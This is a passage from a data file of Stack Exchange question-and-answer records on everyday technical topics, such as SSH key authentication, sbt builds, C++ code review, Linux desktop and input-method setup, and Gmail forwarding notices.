management;mobile;contract;porting" , "accepted_answer": "If your only source of information for the application is it's unfinished android source, there is no way to escape this mess other than waiting for it's finish.A good way is this case is having a requirements file etc. that describes the work. For contract work, if what needs to be done is unclear, you WILL encounter lots of problems regarding the delivery date and pricing.Talk with the client, and formalize what needs to be done before you do more work. Use acceptance tests/use cases/requirements file/user stories/whatever to document what needs to be delivered and work on that. This way, you will know what you are responsible for(instead of an ever changing requirements when the android version changes) and you can talk in even terms with the client." } { "id": "_reverseengineering.10937" , "question": "During runtime. With minimal performance impact on the target.Platform is Windows 7.Objective is to gather a lot of data for clustering and ML. To ultimately assist with protocol reversing. All input will also be logged including packets (decrypted)." , "title": "How to log every memory read/write action and the registers of the action?" , "tags": "tools" } { "id": "_unix.330874" , "question": "I am configuring our new RHEL 7 server and I am have a real pickle in trying to get it to accept my private/public keypair.Everything seems similar enough compared to the sshd config from the older server.Current sshd_config:Port 22Protocol 2HostKey /etc/ssh/ssh_host_rsa_keyHostKey /etc/ssh/ssh_host_ecdsa_keyHostKey /etc/ssh/ssh_host_ed25519_keyKeyRegenerationInterval 3600ServerKeyBits 1024SyslogFacility AUTHPRIVRSAAuthentication yesPubkeyAuthentication yesAuthorizedKeysFile .ssh/authorized_keysPasswordAuthentication yesChallengeResponseAuthentication noGSSAPIAuthentication yesGSSAPICleanupCredentials yesUsePAM yesX11Forwarding yesUsePrivilegeSeparation sandboxAcceptEnv LANG LC_CTYPE LC_NUMERIC LC_TIME LC_COLLATE LC_MONETARY LC_MESSAGESAcceptEnv LC_PAPER LC_NAME LC_ADDRESS LC_TELEPHONE LC_MEASUREMENTAcceptEnv LC_IDENTIFICATION LC_ALL LANGUAGEAcceptEnv XMODIFIERSSubsystem sftp /usr/libexec/openssh/sftp-serverLogging in using PuTTY I receive:Using username jweinraub.Server refused our keyMy permissions aredrwx------. jweinraub jweinraub unconfined_u:object_r:ssh_home_t:s0 .ssh/-rw-------. jweinraub jweinraub unconfined_u:object_r:ssh_home_t:s0 authorized_keysAnd with debug 3debug1: trying public key file /home/jweinraub/.ssh/authorized_keysdebug1: fd 4 clearing O_NONBLOCKdebug2: key not founddebug1: restore_uid: 0/0debug3: mm_answer_keyallowed: key 0x7ff339f8afa0 is not allowedFailed publickey for jweinraub from 10.18.66.11 port 55147 ssh2: RSA 1c:9d:1c:c7:cf:14:48:56:4f:23:5d:cb:16:a6:1d:18debug3: mm_request_send entering: type 23debug2: userauth_pubkey: authenticated 0 pkalg ssh-rsa [preauth]debug3: userauth_finish: failure partial=0 next methods=publickey,password [preauth]" , "title": "Server refusing public key with PuTTY" , "tags": "ssh;putty;key authentication" } { "id": "_unix.385635" , "question": "man umount2 says: MNT_EXPIRE (since Linux 2.6.8) Mark the mount point as expired. If a mount point is not currently in use, then an initial call to umount2() with this flag fails with the error EAGAIN, but marks the mount point as expired. The mount point remains expired as long as it isn't accessed by any process. A second umount2() call specifying MNT_EXPIRE unmounts an expired mount point. This flag cannot be specified with either MNT_FORCE or MNT_DETACH.umount doesn't seem to support it.Are there any utilities which allow one use this flag?" , "title": "Are there any utilities which support umount2(2)'s MNT_EXPIRE?" , "tags": "unmounting" , "accepted_answer": "You can easily access C functions from Python.#!/usr/bin/env pythonimport os, sysfrom ctypes import *libc = CDLL('libc.so.6', use_errno=True)MNT_EXPIRE = 4libc.umount2(c_char_p(sys.argv[1]), c_int(MNT_EXPIRE))if get_errno() != 0: print os.strerror(get_errno()) exit(1)" } { "id": "_softwareengineering.148405" , "question": "I recently started learning Android development and I decided to follow the following development processes:Preinstall Scala in emulatorEdit source files in IntelliJ IDEA 11Compile the project with sbt in command lineDex generated classes without Scala librariesBuild APK and test in emulatorIn the above steps, except step 3, I think other steps can be easily handled by command line/makefile. So here I am, I want a sample build.sbt to allow me easily specify the following information:Source directoriesReference librariesOutput directoryI am aware of sbt android plugin and sbt idea plugin but I want to avoid them for the following reason: projects generated by android plugin dex Scala libraries for each build but I want to have control on that part: I want to skip Scala libraries for development but include them for release build, which seams requires a lot of digging if I do it with the plugin but can be easily handled if it is done from command line/makefile.If overall what I plan to do makes sense, could someone familiar with sbt provide such a sample build.sbt? I have already spent hours following sbt tutorials but felt its so hard to make each seemed simple change to the default behavior of sbt.A side question, it seems that source directories added by unmanagedSourceDirectories get compiled every time regardless of the time stamp. If thats the case, whats the point of using sbt? I can just feed all sources files into scalac.UPDATEThis is the build.sbt based on Daniel C. Sobral's answer. When I type in sbt compile, it only prints some info like Set current project to HelloAndroid.... No compilation happens.name := HelloAndroidscalaVersion := 2.8.2unmanagedSourceDirectories := List( file(src), file(gen))libraryDependencies := List() // remove Scala's library from dependenciesunmanagedJars := List(Attributed.blank(file(C:/bin/android/platforms/android-10/android.jar)))target := file(target)I didn't expect it compiles because I still need to work out the jar files but at least I should get some compiler error. Any hint?UPDATE: the sbt compile outputs the following:[info] Set current project to HelloAndroid (in build file:/C:/Users...[success] Total time: 0 s, completed May 14, 2012 10:36:23 AMI have two source files in src directory:src/com/example/[HelloScala.scala MyActivity.java]No class file is found under target folder." , "title": "A sample build.sbt to allow me easily specify source dirs and libraries?" , "tags": "android;scala" , "accepted_answer": "I'd like to understand better what trouble you are having, because there really isn't much to it. This is all pretty simple:// build.sbtunmanagedSourceDirectories in Compile := List(file(\\path\\to\\my\\source))libraryDependencies := List() // remove Scala's library from dependenciesunmanagedJars in Compile := List(Attributed.blank(file(\\path\\to\\my\\library.jar)))target in Compile := file(\\path\\to\\my\\target\\directory)Note that the above completely raw: it doesn't let SBT manage libraries through ivy, it doesn't let SBT find the jar files inside the directories for the unmanaged libraries and it uses absolute paths for everything.EDITAs I said, the above use absolute paths, and it seems you want relative paths for your source. Use this:unmanagedSourceDirectories <<= baseDirectory( base => List(src, gen) map (base / _ ))Also, you are using the default target, so you don't need it. However, SBT will create the files inside a subdirectory of that target, which is probably not what you want. You can change that this way:target in Compile <<= baseDirectory(_ / sbt-stuff) // move everything else to sbt-stuffclassDirectory in Compile <<= baseDirectory(_ / target) // generate the class files on targetAs for the error message you did not understand, it would have been easier to ask what it meant than to ask for the whole configuration. " } { "id": "_unix.236518" , "question": "I use vpnc in terminal to setup a vpn connection, is there a way that i can make a script so when i execute the script it just starts. Instead of putting again al the gateway info etc. " , "title": "Vpnc script bash" , "tags": "bash;shell script;vpn" } { "id": "_unix.133989" , "question": "Any ideas how to back up a directory structure for which there are some files and/or directories for which you do not have permission to read? I'd like to just ignore those, without backup (tar? jar?) crashing." , "title": "How to backup dir structure ignoring files & dirs without read permission" , "tags": "permissions;files;backup;tar" } { "id": "_codereview.88907" , "question": "The following code is from a utility I've written for myself.It takes a file in this format: [SOME_CODE] Some following text [SOME_OTHER_CODE] Some following multi-line textAnd then outputs a C header file containing some #defines with the strings encoded.The bottom function, convert, is the one I'm scratching my head about. It works just fine, but I'm sure there's a better way of organising the loop. Performance isn't a great issue here, just maintainability. It doesn't have to be super-resilient to unexpected input either. It uses JUCE - hence the non-std string class and file operations.bool isShortCode(const String & stringToCheck){ return (stringToCheck.length() > 1) && (stringToCheck[0] == '[');}String getEncodedDefineAndComment(const String & shortCode, const String & originalText){ String t; t += \\n; t += // + originalText.replace(\\n, \\\\n) + \\n; t += #define JCF_ENCODED_ + shortCode + + getDefineForString(originalText) + \\n; return t;}void convert(File inFile, File outFile){ auto inString = inFile.loadFileAsString(); if (inString.isEmpty()) { cout << error reading input << endl; return; } auto inLines = StringArray::fromLines(inString); String shortCode; String text; String outputText; auto p = inLines.begin(); while (p != inLines.end()) { String s = *p; if (isShortCode(s)) { shortCode = s.removeCharacters([] ); text = String::empty; p++; } else { if (shortCode.isEmpty()) { cout << error: input must start with a shortcode << endl; return; } bool firstTime = true; while ((p != inLines.end()) && (! isShortCode(*p))) { // I only want a new line where there are multiple lines. I don't want one for the last line. if (! firstTime) { text += \\n; firstTime = false; } text += *p; p++; } outputText += getEncodedDefineAndComment(shortCode, text); } } // Happy to assume no errors here. outFile.replaceWithText(outputText);}" , "title": "Organising loops for parsing a text file" , "tags": "c++;parsing;file" } { "id": "_webapps.21031" , "question": "I set up a filter on my personal gmail that forwards all mail from a certain domain to my work email. When I saved the filter, the following notification popped up at the top of my window:(Your filters are forwarding some of your email to abby@stackoverflow.com. This notice will end in 7 days.)Can I dismiss this message? Or must I look at it for 7 days? I clicked both Review Settings and Learn more, and it's still there. There is no X or Dismiss button all the way on the right. Am I stuck with it for a week?" , "title": "Can I dismiss Gmail's warning about my filter forwarding my mail?" , "tags": "gmail;gmail filters" , "accepted_answer": "It's going to be there for a week, but will only appear at login for a minute or two so you don't get banner blindness. It's a security feature that should help remind you to double-check for any dubious forwarding filters during that time.How long will I see this notice?For about a week, this notice will appear for a few minutes each time you sign in to your account. Displaying the notification in this way helps ensure that you have a chance to see the notice, rather than someone who might try to gain unauthorized access to your account and use this setting improperly. The notice will disappear immediately if you choose to disable the forwarding filter setting, but that decision is up to you." } { "id": "_ai.2594" , "question": "I am currently trying to understand and implement a conversational agent, seeing in the network there are many apis to do something similar, but what they generate are intelligent bots, not intelligent conversational agents (wit.ai, recast.ai, Api.ai, etc.), however I have seen Watson virtual agent which paints very well and seems to cover my needs.However I am a developer and I would like to ask those with more experience, which would be the way to go to implement my objective, an agent similar to what the video of watson virtual agent, with thematic ones that I can train in the agent, and That he can learn from it.Take a language course, but focused on the generation of programming languages, lexical analysis, syntactic, semantic, etc., however I know that the natural language can not be compared to the language of the machines, reading some thesis vi to make a Conversational agent could do a great grammar (I can not imagine its syntactic tree), using probabilities with ngrams, or using neural networks or expert systems.As for the expert systems I understand that for these learn needs their knowledge base be modified, and as for the neural networks these fit, learn, so I think that it is best to use neural networks.Summarizing which way should I go? , I'm currently taking stanford's natural language processing course, and a deep learning course from google, I thought I'd use ntlk for that important or natural part.Any suggestion, criticism, contribution, thank you in advance.machine-learning nlp artificial-intelligence agent" , "title": "Conversational agent,query" , "tags": "neural networks;machine learning;deep learning;natural language;language processing" } { "id": "_softwareengineering.334079" , "question": "So for my newest hobby project, I want to create a simple chat application where users can just log in with a nickname (no passwords) and talk to anybody on the network. Off the top of my head, I'm thinking about this design where a frontend Client acquires a User object by registering with a nickname.A Message object can behave like packets in the network, with a Postman delivering a given Message object to the intended recipient.When a user sends a message, they call: postman.addMessage(message);and the Postman then delivers this to the inTray located in Server.The receiver's Postman eventually finds a Message object intended for them in the outTray and fetches it for its Client.Any thoughts on the design? For all I know, it probably sucks but some constructive criticism is always welcome." , "title": "Design verification - chat application architecture" , "tags": "java;architecture;messaging" , "accepted_answer": "According to your explanations, the user interacts with a postman to send and receive messages, which are stored on a server. That's a good start. But I'm not sure that the class diagram fully reflects your explanations; It also raises some questions: the user would be composed of several clients ?? I thought that the user user would register to a client. Or eventually that a client would own several users. is the client supposed to represent the user interface ? the postman would be composed of several users ?? Do you mean that a postman serves several users. And what is the relationship between a postman a client and a server ? are the intray/outray on the sever organized by postman ? by user ? or is it global for the all the users/postman ? are messages stored twice on the server: in outray (send by user) and in the intray (adressed to user) ? when the message is sent to the server, is a copy kept in the postman ? when a message is retrieved from the server, is it removed there ? the notion of user session is not represented here. What if a user logs off, and logs in later ? What will happens to the messages that he has received in the meantime ? will the same postman always serve the same user ? As you can see above, you are very much at the beginning of your design. Without addressing all these points, I'd already propose you a reviewed diagram: Some key aspects: There is no permanent relation between postman and server: a posman is not structurally related to a server. There is only a dependency, because when a postman is told to connect with a server, he has to know the interface of the server (yet to be defined)The messages are either stored in a postman, or on a server (see the black diamonds). there is a link to be clarified between a user and a postman (e.g. the user has a link to the postman, or the postman has a list of users). there is a link to be clarified beteween a user and a ClientUI. As the user seems to be created when connecting to UI, we could imagine that the User is created by the UI.it has to be clarified how the servers are managed: does every client manage a server ? Is teh server given when login ? Are server operated independently ? are server searched via a network protocol by the postman when he needs it ? You need to clarify this. " } { "id": "_unix.61749" , "question": "So I have been using linux mint for a while now. A few months ago my Gnome shell crashed and I was unable to use the full 3d features and loaded into fallback mode only. From that day (around 2 months ago) I still have only fallback mode (both Gnome and cinnamon). I installed Linux mint maya, and Ubuntu 12.04 both as windows file and complete installation in an external hard drive. and for many times I sitll cannot fix this problem. ps I made sure to download all the drivers for my graphics card. what could the problem be?" , "title": "Gnome and Cinnamon loads in fallback (classic) mode only" , "tags": "linux;ubuntu;gnome;linux mint;cinnamon" } { "id": "_webmaster.44188" , "question": "A question asked on my website here http://www.wrangle.in/topic/av5b5ymlhoyc/what-is-the-difference-between-www-or-ww I want to give them answer but I didn't find anywhere on google. So I thought better asking it here." , "title": "Why is ww35 used in some URLs?" , "tags": "url;url rewriting;no www;web hosting" } { "id": "_scicomp.10687" , "question": "Within Fenics what ordering is used for storing vectors as upper triangular matrices? Th:e question really is I define a green Lagrange strain tensor in the following way:V = VectorFunctionSpace(mesh, Lagrange, 1)u = Function(V)I = Identity(V.cell().d) # Identity tensorF = I + grad(u) # Deformation gradientC = F.T*F # Right Cauchy-Green tensorE = (C-I)/2 #green strain tensorBut when I accesses the elements later,psi = stress1*E[0,0]+stress2*E[1,1]+stress3*(E[2,2])+stress4*E[1,2]+stress5*E[0,2]+stress6*E[0,1]I assumed Voigt notation but it occurs to me that this may not be the case. Using this method to initialize the strain tensor is this the notation I should be using or is there a different type or initialization that would be more appropriate?Thanks for any help. " , "title": "Tensor notation in fenics" , "tags": "fenics" } { "id": "_unix.303742" , "question": "I am about to start working on an embedded system which runs kernel v2.6.x.It is configured to use its serial line as a TTY (accessible via e.g. minicom, stty), but I want to run IP over the serial line so that I can run multiple multiplexed sessions over the link (e.g. via UDP/TCP or SSH).I don't have much more information about the boards yet (will post more when the documentation arrives), but assuming that the kernel provides reasonable abstraction over the hardware - what would be the process to configure it to run PPP or (C)SLIP over the serial link in place of TTY?" , "title": "How to configure embedded kernel to use serial line for PPP instead of TTY" , "tags": "linux kernel;configuration;serial console;ppp;uart" , "accepted_answer": "You would first disable getty running on your serial port device /dev/ttyS0 (or whatever it is named for your hardware) to free it (for example, by editing /etc/inittab and running telinit q - if you managed to steer away from systemd) and then you would run pppd(8) on it (either manually with appropriate parameters or via additional tools like wvdial)" } { "id": "_codereview.20167" , "question": "I have many thousands of image files spread around various places and would like to copy them into one directory. However, may of the files are duplicates with the same names (often thumbnails or reduced resolution etc). I want to delete all files that have the same name except for the largest. The following code reads a list of these file paths (fullpath/name). It splits the filename from the path, determines the size of the file and adds each filename and its size to a list (map). Where a name is found that is already in the list, the larger of the two is kept in the list and the smaller is 'deleted' (by which I mean emitting the command rm path/to/file).I know this is naive C++, because I am a novice (though not at C). Any help making it less naive would (or just better) is appreciated. #include <iostream>#include <string>#include <sys/stat.h>#include <map>using std::map;using std::string;class filedata { std::string path; size_t size;public: filedata (void) : path(), size(0) { } filedata (const string& p, size_t s) : path(p), size(s){ } filedata (const filedata& f) : path(f.path), size(f.size) { } size_t filesize(void) { return size; } string& filepath(void) { return path; } std::ostream& print(std::ostream& os) const { os << size << << path << \\n; return os; }};std::ostream& operator<<(std::ostream& os, const filedata& f){ return f.print(os);}static size_t file_size(const string& s){ struct stat st; if (stat(s.c_str(), &st) == 0) { return st.st_size; } return 0;}static void delete_file(const string& s){ std::cerr << rm \\ << s << \\\\n;}static bool file_name(const string& path, string& name){ size_t pos = path.rfind('/'); if (pos == string::npos) { return false; } name = path.substr(pos+1); return true;}int main(int argc, char **argv){ (void) argc; (void) argv; string s; map<string, filedata> files; while (getline(std::cin, s)) { string name; if (file_name(s, name) == false) { break; } size_t size = file_size(s); if (size == 0) { delete_file(s); } else if (files.count(name) > 0) { filedata f(files[name]); if (f.filesize() <= size) { delete_file(f.filepath()); files[name] = filedata(s, size); } } else { files[name]= filedata(s, size); } } for (auto i = files.begin(); i != files.end(); ++i) { std::cout << i->first << << i->second; } return 0;}" , "title": "Reading a list of file paths and adding them to a map" , "tags": "c++;beginner;file" , "accepted_answer": "Looks good overall (though I'm by no means a C++ expert).In coming brain-dump though:void argument lists are rare in C++. Yes, in C, int c() and int c(void) are different, but in C++, that's not the case. In C++, int c() is implicitly the same declaration as int c(void).The no-op statements on argv and argc jump out as odd. If you did that so a warning of an unused variable won't be issued, you could always use one of the alternate main declarations (i.e. int main().Opinion again, but I'm not a fan of comparison to booleans: if (file_name(s, name) == false). It reads more easily as if (!file_name(s, name))This might be on purpose, but the path property of filedata can be mutated from outside:filedata f(name, 10);f.filepath() = new;I would probably make these objects immutable since they seem to be value objects (I think you probably intended to do this, just non-intuitive references got you).You should return either by value or by const reference from filepath. Even though it will create a usually unnecessary copy, I highly suggest the value route. If you return a const reference, you run the risk of a dangling pointer. Consider this (bad) example:filepath* f = new filepath(blah, 10);const std::string& s = f->filepath();delete f;// Any use of s past here is undefined behaviors is essentially a const pointer to f->path. This means that when f is released, s becomes invalid. Note that if you immediately create a copy of a string based on the constant reference [i.e. if you had std::string s = ...] this does not apply. That still creates a copy though, so you might as well return a value.(Also, obligatory note: raw pointers have very few legitimate uses in C++. Avoid pointers if at all possible, and use a smart pointer when not. The only (possible) exception is low level container implementations.)I'm not a fan of print style member functions. In this application this aversion doesn't make sense, but imagine if some third party library you used provided print methods for some of it's classes. Do you think it would print out in exactly the format you want? I prefer to use helper-type functions for printing rather than putting it as a member of the class. (Though once again, on this application since it's so small, it matters nothing at all.)(Oh, and this once again is opinion.)filedata (void) : path(), size(0) { }filedata (const string& p, size_t s) : path(p), size(s){ }filedata (const filedata& f) : path(f.path), size(f.size) { }There's a bit of redundancy here. Technically you could write this just as:filedata (const string& p = , size_t s = 0) : path(p), size(s){ }Or if you wanted:filedata (const string& p = string(), size_t s = size_t()) : path(p), size(s){ }Though I'd probably go with the first.The copy constructor doesn't need to be defined since it's the same as the implicit one. When using the same functionality as the implicit one, do not define one. The implicit one isn't prone to typos or a future failure to update the copier to reflect new properties.I would give more descriptive names to p and s:filedata (const string& path, size_t size) : path(path), size(size) { }I'd probably go with something like uint64_t instead of size_t since size_t will probably be 32 bits on a 32 bit system. If you'd like to abstract away exactly what the type is, you could have a typedef ... size_type member of your class. Not only does that offer a more semantic meaning, it allows for easier future change (assuming consumers actually proper use the typedef...).I tend to declare define the end of an iterator up front:for (auto i = files.begin(), end = files.end(); i != end; ++i) {Not only does it potentially offer a tiny performance advantage (though not really on any modern compiler), it has clearer meaning. With this version, there much more suggestion that end is not mutated inside of the loop (though it's still not guaranteed since end isn't const).std::begin and std::end should be preferred in C++11. They have all the capabilities of the member-function versions plus a bit more.stat failing probably shouldn't just return a size of 0. You might end up accidentally deleting a file if something weird happens. (Then again, most of the reasons stat would fail would also cause an attempt to delete a file to fail.)If you had the input include the file sizes, you could reduce your program to pure text processing. I'm also not sure if your program should be emitting rm commands. Seems like a coupling of sorts. Then again, the output would just be transformed into rm commands anyway, so might as well do it directly I guess :).The data put out on stdout seems to be debugging-esque information whereas the stderr data seems to be what you're actually after. Seems like these streams should be swapped.I'd be tempted to use a reference instead of copying the item in the map:filedata f(files[name]);Could be:filedata& f = files[name];The performance difference is going to be non-existent; mostly just a (opinion-y) style thing. It would also allow you to simplify the reassignment from files[name] = ... to just f = ....The filesize member of filedata can't permute size, so you might as well have the method be const. Same for filepath() if it wasn't meant to allow the perumtation of path (as mentioned earlier).Another personal-style thing: I don't like implicit visibility scoping:class filedata { std::string path; size_t size;os << size << << path << \\n;return os;Can be simplified to:return os << size << << path << \\n;" } { "id": "_webmaster.51356" , "question": "Which is the best place to post a URL to get a backlink?SignatureForum profileAnswering a question and giving a related post URL as the answerDo Google's algorithms consider all of these to be spam/blackhat?" , "title": "Is it best to put a link in signature, forum profile, or in a post to get backlinks?" , "tags": "backlinks;forum" } { "id": "_unix.355266" , "question": "How can I sort numbers such as these using a sort command. 10111211314151617181920212223456789XY" , "title": "How can I sort numbers in a unix shell?" , "tags": "sort" } { "id": "_webapps.37315" , "question": "I want to setup Bing search for my own website with the help of Bing API. Is it possible to get some sort of statistics that tells me what kind of searches users made on my website or where they are coming from, etc? Is there any feature available in Bing that give me these kind or any other kind of statistics?" , "title": "Can we get statistics from Bing search?" , "tags": "bing" } { "id": "_unix.173943" , "question": "The problemI've got two graphics cards in my computer:Nvidia GTX 580Intel Graphics (onboard) The Nvidia part is working fine: plugged in a DVI cable to my monitor and everything works perfectly. The Intel part is totally ignored. xrandr says it is disconnected, and even tty is not visible at the Intel/HDMI display. When having xf86-video-intel installed, my monitor says no signal, if it is uninstalled, it says 1024-768 connected with a black screen. (completely black, no tty)InformationI am using Arch Linux. After installing xf86-video-intel I also added to /etc/mkinitcpio.conf the i915 tag in the MODULES line:MODULES=i915Calling uname -r gives me:3.14.25-1-ltsCalling lscpi -v gives me (among other things):00:02.0 Display controller: Intel Corporation 2nd Generation Core Processor Family Integrated Graphics Controller (rev 09)Subsystem: ASRock Incorporation Device 0122Flags: bus master, fast devsel, latency 0, IRQ 45Memory at f7400000 (64-bit, non-prefetchable) [size=4M]Memory at d0000000 (64-bit, prefetchable) [size=256M]I/O ports at f000 [size=64]Capabilities: [90] MSI: Enable+ Count=1/1 Maskable- 64bit-Capabilities: [d0] Power Management version 2Capabilities: [a4] PCI Advanced FeaturesKernel driver in use: i915Kernel modules: i915Calling xrandr gives me:Screen 0: minimum 320 x 200, current 1920 x 1200, maximum 8192 x 8192DVI-I-1 connected 1920x1200+0+0 (normal left inverted right x axis y axis) 518mm x 324mm 1920x1200 59.95*+ 1600x1200 60.00 1280x1024 75.02 60.02 1280x960 60.00 1152x864 75.00 1024x768 75.08 70.07 60.00 832x624 74.55 800x600 72.19 75.00 60.32 56.25 640x480 75.00 72.81 66.67 60.00 720x400 70.08DVI-I-2 disconnected (normal left inverted right x axis y axis)HDMI-4 disconnected (normal left inverted right x axis y axis)Possible causes which are not the causeThe cable is not the problem. It runs perfectly fine booting on Windows. " , "title": "Intel HDMI monitor not recognized" , "tags": "arch linux;xrandr;dual monitor;intel;hdmi" } { "id": "_webapps.80728" , "question": "Facebook has recently started allowing sign ups for Messenger with only a phone number instead of a full Facebook account.So:If I sign up to Messenger with only a phone numberAnd I have previously used that number as an account recovery mechanism for a full Facebook accountAnd that account has since been deactivated (but not deleted)Will Facebook join the dots and attempt to reactivate my dormant full Facebook account when I try to sign up on Messenger?" , "title": "Sign up to Messenger with just a phone number already used on a deactivated Facebook account - will the account be reactivated?" , "tags": "facebook;facebook chat" , "accepted_answer": "Facebook will recognise the number and tell you to either:Log in with Facebook (thus connecting your full account)or Continue signing up (which will keep your new Messenger identity separate, and you will go on to enter a first name, last name, and optionally a photo).If you do this separate phone number sign up, and you search for your own name in the contact search screen, you may be able to find what looks like a full Facebook profile of yourself. Nope, they did not reactivate your full account. They actually seem to create a new Facebook account with your name, phone number, and profile photo all publicly visible - this is presumably their chosen way make you discoverable to people with full Facebook accounts.Source: Messenger for iOS (UK)" } { "id": "_codereview.163781" , "question": "I've written this very simple quiz program, I'm trying to get to grips with OOP (Object Orientated Programming), so I've started simple with very basic Classes. The nature of the code would have suited using functions but I wanted to practice with Python Classes.Any comments or suggestions about my code would be most welcome, my ultimate goal is to be as pythonic as possible in future projects.I've tried to follow Python PEP8 guidelines. from colorama import *import randomimport osinit()class StartQuiz(): def __init__(self, capital_dict: str = {}, randomize_keys: str = []): self.capital_dict = capital_dict self.randomize_keys = randomize_keys def set_up(self): with open('capitals.txt') as file: for data in file: [country, capital] = data.split(',') self.capital_dict[country] = capital.strip() self.randomize_keys = list(self.capital_dict) random.shuffle(self.randomize_keys) return [self.capital_dict, self.randomize_keys]class DisplayAnswer(StartQuiz): def __init__(self, capital_dict, randomize_keys): super().__init__(capital_dict, randomize_keys) def show_answer(self): for city in self.randomize_keys: print(Fore.BLUE + f'{self.capital_dict[city]}', end=' ') print('\\n')class DisplayQuestion(StartQuiz): score: int = 0 def __init__(self, capital_dict, randomize_keys): super().__init__(capital_dict, randomize_keys) def ask_question(self): for country in self.randomize_keys: print(Fore.YELLOW + f'Capital of {country} is ? ', end='') answer = input(Fore.WHITE) if answer.lower() == self.capital_dict[country].lower(): print(Fore.BLUE + 'Correct!') self.score += 1 else: print(Fore.RED + 'Incorrect!') return [self.score, len(self.capital_dict)]def main(): startQuiz = StartQuiz() while True: os.system('CLS') print(Fore.WHITE + '*** Capital City Quiz ***\\n') print('Choose the correct city from the list below:\\n') DisplayAnswer(startQuiz.set_up()[0], startQuiz.set_up()[1]).show_answer() total_score = DisplayQuestion(startQuiz.set_up()[0], startQuiz.set_up()[1]).ask_question() print(Fore.WHITE + f'\\nYou scored: {total_score[0]} out of {total_score[1]}') input('\\nPress <Enter> to play again')if __name__ == __main__: main()" , "title": "Simple Capital City Quiz in Python3" , "tags": "python;object oriented;python 3.x;console;quiz" } { "id": "_webapps.324" , "question": "I'm looking to start a web-based business, and I'd like to better understand how Google AdWorks works, and if it's worth the money for me to purchase keywords?Is there a way to limit how much it will cost me to use adwords? Is there a way to track the effectiveness of certain search keywords?" , "title": "How does Google's AdWords model work?" , "tags": "google adwords" , "accepted_answer": "You asked a lot of questions, I will do my best to answer each one:Adwords is worth the money if you can quantify your entire costs (including obviously the campaign) and the value of the new customer. This may seem easy at first, but there are likely to be several factors in determining these values. (sorry there is no easy answer here)There is a way to limit your campaigns - both by individual bid amount (per click) and you will be notified when you balance is low so you can make sure your credit card is not charged.Yes: the analytics provided are robust, all keywords are tracked. You can also filter, sort and analyze a few hours away if you have enough keywords :)Overall, I would suggest finding a free Adwords code. Try searching on twitter. You can generally get about $100 to try it out -- by then you should be pretty comfortable with the system and how to bid effectively (i.e. do not pay suggested price!)Good Luck " } { "id": "_unix.309322" , "question": "I have an ASUS ME176CX tablet, which only has 64-bit EFI booting support. No legacy option. But there are device drivers for 32-bit only Linux. How do I boot a 32-bit Linux OS through 64-bit Grub in EFI mode?" , "title": "How to boot 32-bit Linux kernel with 64-bit EFI Grub?" , "tags": "grub2;grub;bios;uefi" } { "id": "_softwareengineering.352491" , "question": "I'm planning on making a web app that'll use MySQL as the database, Java/Grails as the backend and JavaScript/VueJS as the frontend and then they'll communicate using only RESTful JSON APIs (that way I can have frontend apps running on any platform, all with the same backend). What I'm thinking is that every action (that requires db access) will have to be authenticated so I'm thinking that when a user logs in (successfully) I'll create an auth token on the backend, encrypt it and send it to the front end where it gets stored in browser storage so from that point on every time a user does something that token gets used for authentication. But what I'm not sure about how to implement is authentication for user registration (and any other action that doesn't require the user to be logged in, e.g. sending a Contact Us query). For example I could have a REST_PASSWORD variable in the front-end JavaScript that gets used for these unlogged-in actions but that's essentially useless because anyone can access the JavaScript code and grab the password.So my question is what is the best way to implement user registration through a JSON REST API so that my application doesn't get taken advantage of by bots/malicious users? It's been suggested that I implement CAPTCHA on the frontend and while I'm definitely gonna give that a look, I'm wondering if that'll be enough security and/or if I need more that?" , "title": "User registration web service" , "tags": "rest;security;authentication" } { "id": "_softwareengineering.225049" , "question": "I am a experimental physicist. In our research, we have our experimental data in a 400*400*400 matrix(x, y, z axis of a 3d space), each entry is associated with a value(brightness). We expect the brightest entries will form a closed path in the 3d space. But some portion of the path is always too dark to identify, also there are some noise in the space(random bright lines).Our current algorithm generates random seed points into the space, they are attracted by the brightness of the data. After certain amount of time, they will be trapped in the path. If we record the seed points position we can get the path. Our current algorithm does a fairly good job while I still need to manually add those relatively dark points to the path.I am not familiar with machine learning, but I am wondering if it can be used on this case? For example, is it possible that I tell the program which data points are on the path, the program will know how to choose the data points for the path in the future. Or if there is some other method we can use? Thanks!" , "title": "Can I use machine learning for screening experimental data?" , "tags": "machine learning;image processing;noise" } { "id": "_unix.305145" , "question": "I'm trying to get ibus's popup selection to work. I followed the instructions in the Arch wiki, by installing the ibus and ibus-libpinyin packages. ibus appears to partially work. ibus-setup works fine, and I can select inputs. In my text editor, I can then switch between English and (say) Arabic. Input changes as expected. However, after switching to Chinese Pinyin, text just appears as normal, with no pop-up appearing.All packages are up-to-date.KDE Plasma 5.7.3-1ibus 1.5.14-1ibus-qt 1.3.3-6ibus-libpinyin 1.7.92-1libpinyin 1.5.92-1(Previously posted on the Arch forum with no reply.)EDITI recently upgraded some of these packages, but I still am having this problem.KDE Plasma 5.7.4-2libpinyin 1.6.0-1" , "title": "How can I enable ibus's input popup?" , "tags": "special characters;input method;ibus" , "accepted_answer": "Inspired by the Arch wiki, I added export QT_IM_MODULE=ibus to ~/.xprofile, which fixed it. I was initially thrown, because normal ibus input worked without this fix. In any case, I've edited the wiki to be a little clearer." } { "id": "_unix.59180" , "question": "In XFCE 4.10, you can enable an option that allows windows to tile automatically when dragged to the edges. The default is to tile to half the screen (half-top, half-bottom, half-left, or half-right). I want to change this so that dragging to the top edge maximizes a window, but I don't see any options in the settings anywhere to change this. Can this be done or am I out of luck here?" , "title": "How do I change XFCE tiling to maximize on top edge?" , "tags": "xfce" , "accepted_answer": "I'm afraid you're out of luck, unless you want to patch the sources (and possibly also offer the patch upstream). However there are two alternative approaches: assign maximizing the window to double clicking on the window headeruse keyboard short-cut (it used do be Alt+F5, but I'm not sure what the default is today)." } { "id": "_cstheory.29210" , "question": "The standard Assignment Problem asks for an optimal one-to-one assignment between agents and tasks.Now consider the following generalization: Instead of specifying a cost of a single agent-task pair, assume that you can specify a cost of an arbitrary set of agent-task pairs. The problem is then defined by a set of constraints, where each constraint is a cost c and a set S of task-agent pairs. Meaning of a such constraint is that a cost c occurs when all pairs in S are satisfied, and the overall cost is the sum of costs of all satisfied constraints.Note that this problem can be encoded as Weighted Partial MAX-SAT, where hard clauses encode one-to-one assignment between agents and tasks, and each constraint is a (weighted) soft clause.However, I am interested if this can be reduced to something simpler or if this is a known problem, but so far wasn't able to find an answer.Thanks for your help." , "title": "Is there a name for this Assignment definition" , "tags": "ds.algorithms;optimization;sat" } { "id": "_unix.341633" , "question": "using Linux has been an interesting quest for the best system to fulfill my needs and 